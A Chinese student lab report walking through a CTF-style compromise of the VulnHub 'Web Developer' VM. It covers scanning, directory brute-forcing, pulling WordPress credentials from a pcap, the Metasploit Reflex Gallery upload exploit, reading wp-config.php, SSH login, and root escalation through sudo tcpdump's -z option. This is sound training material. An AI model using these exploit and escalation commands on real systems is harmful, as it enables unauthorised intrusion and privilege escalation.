实验目的
通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举、提权、图像信息提取、密码破解等相关工具的使用。
系统环境:Kali Linux 2、WebDeveloper靶机来源:https://www.vulnhub.com/
实验工具:不限
实验步骤和内容
目的
获取靶机Web Developer 文件/root/flag.txt中flag
基本思路
本网段IP地址存活扫描(netdiscover);网络扫描(Nmap);浏览HTTP 服务;网站目录枚举(Dirb);发现数据包文件 “cap”;分析 “cap” 文件,找到网站管理后台账号密码;插件利用(有漏洞);利用漏洞获得服务器账号密码;SSH 远程登录服务器;tcpdump另类应用。
实验步骤
先将靶机安装到vm
1.发现目标 (netdiscover),找到WebDeveloper的IP地址。
安装完后打开虚拟机,使用kali对当前网段进行扫描
输入
sudo netdiscover -i eth0 -r 子网ip
不会有人连子网ip怎么看都不知道吧
观察哪个ip之前从未被使用过,找到靶机的ip
2.利用NMAP扫描目标主机,发现目标主机端口开放、服务情况,截图并说明目标提供的服务有哪些
扫描ip的端口
输入
nmap 靶机ip/24
3.若目标主机提供了HTTP服务,尝试利用浏览器访问目标网站。截图。是否有可用信息?
可以看到目标主机开放了80端口并运行HTTP服务
尝试用浏览器访问
翻到下面可以看到网站的登录界面
暂时找不到有用的信息
4.利用whatweb探测目标网站使用的CMS模板。截图。分析使用的CMS是什么?
返回kali,使用whatweb
输入
whatweb 目标网站ip
得知网站使用的CMS模板是wordpress
5.网络搜索wpscan,简要说明其功能。
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主题漏洞,同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。
该扫描器可以实现获取站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。
6.使用 Dirb 爆破网站目录
在kali的控制台内输入
dirb http://ip/
找到一个和网络流量有关的路径
http://网站ip/ipdata/
7.浏览器访问该目录(路径),发现一个cap文件
下载该文件至kali
8.利用Wireshark分析该数据包,分析TCP数据流。找到什么有用的信息?
在kali中找到该文件,使用Wireshark打开
通过筛选命令得到登录的数据
http.request.method==POST
双击查看登录信息
在 HTML Form URL Encoded 一栏找到账号和密码
在 HTML Form URL Encoded 一栏找到账号和密码
账号:webdeveloper
密码:Te5eQg&4sBS!Yr$)wf%(DcAd
9.利用上一步得到的信息进入网站后台
返回网站的登录界面,输入账号密码
成功进入网站后台
10.利用该CMS存在的(插件Plugin)漏洞
给这个wordpress安装reflex gallery插件,点击页面的plugins,下载reflex-gallery,放到kali中,点击add new,点击upload plugin
出现上图所示,则安装成功
成功后选择activate Plugin 激活插件
若出现reflex gallery设置项则激活成功
11.利用该插件漏洞提权
方案1:利用MeterSploit插件+reflex gallery插件漏洞实现。安装reflex gallery插件。利用该插件可能存在的漏洞。(课本知识点)
建立会话后,查看wp-config.php获得账号及口令。
(这里就选择方案一了,另外两个看别人的吧,shell反弹和这个差不多,File manager 最简单,看不懂的都去用 File manager吧)
打开Kali控制台,输入
msfconsole
打开msf
随后逐行输入
use exploit/unix/webapp/wp_reflexgallery_file_upload
set rhosts wordpress网站的IP
exploit
出现meterpreter >说明可以控制后台了
此时输入 pwd 查看当前所在目录
接着输入 cd /var/www/html 退回 /var/www/html
然后输入ls 查看目录下的文件
找到wp-config.php,输入
cat wp-config.php
打开文件
得到网站操作系统(实际上是数据库)的账号和密码
账号:webdeveloper
密码:MasterOfTheUniverse
12.SSH登录服务器
通过上面得到的账号密码进行ssh连接:
现实中不会真的有人蠢到把操作系统的账号和密码写得和数据库的一模一样吧?
ssh webdeveloper@网站ip
然后输入密码
连接成功:
尝试查看,输入cat /root/flag.txt
发现权限不足
使用
sudo -l
查看,也就是利用tcpdump执行任意命令(当tcpdump捕获到数据包后会执行指定的命令。)查看当前身份可执行的命令。
发现可以root权限执行tcpdump命令,创建攻击文件
touch /tmp/exploit1
写入shellcode
echo 'cat /root/flag.txt' > /tmp/exploit
赋予可执行权限
chmod +x /tmp/exploit
利用tcpdump执行任意命令
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
获得flag
3. 实验小结
累了,自己写吧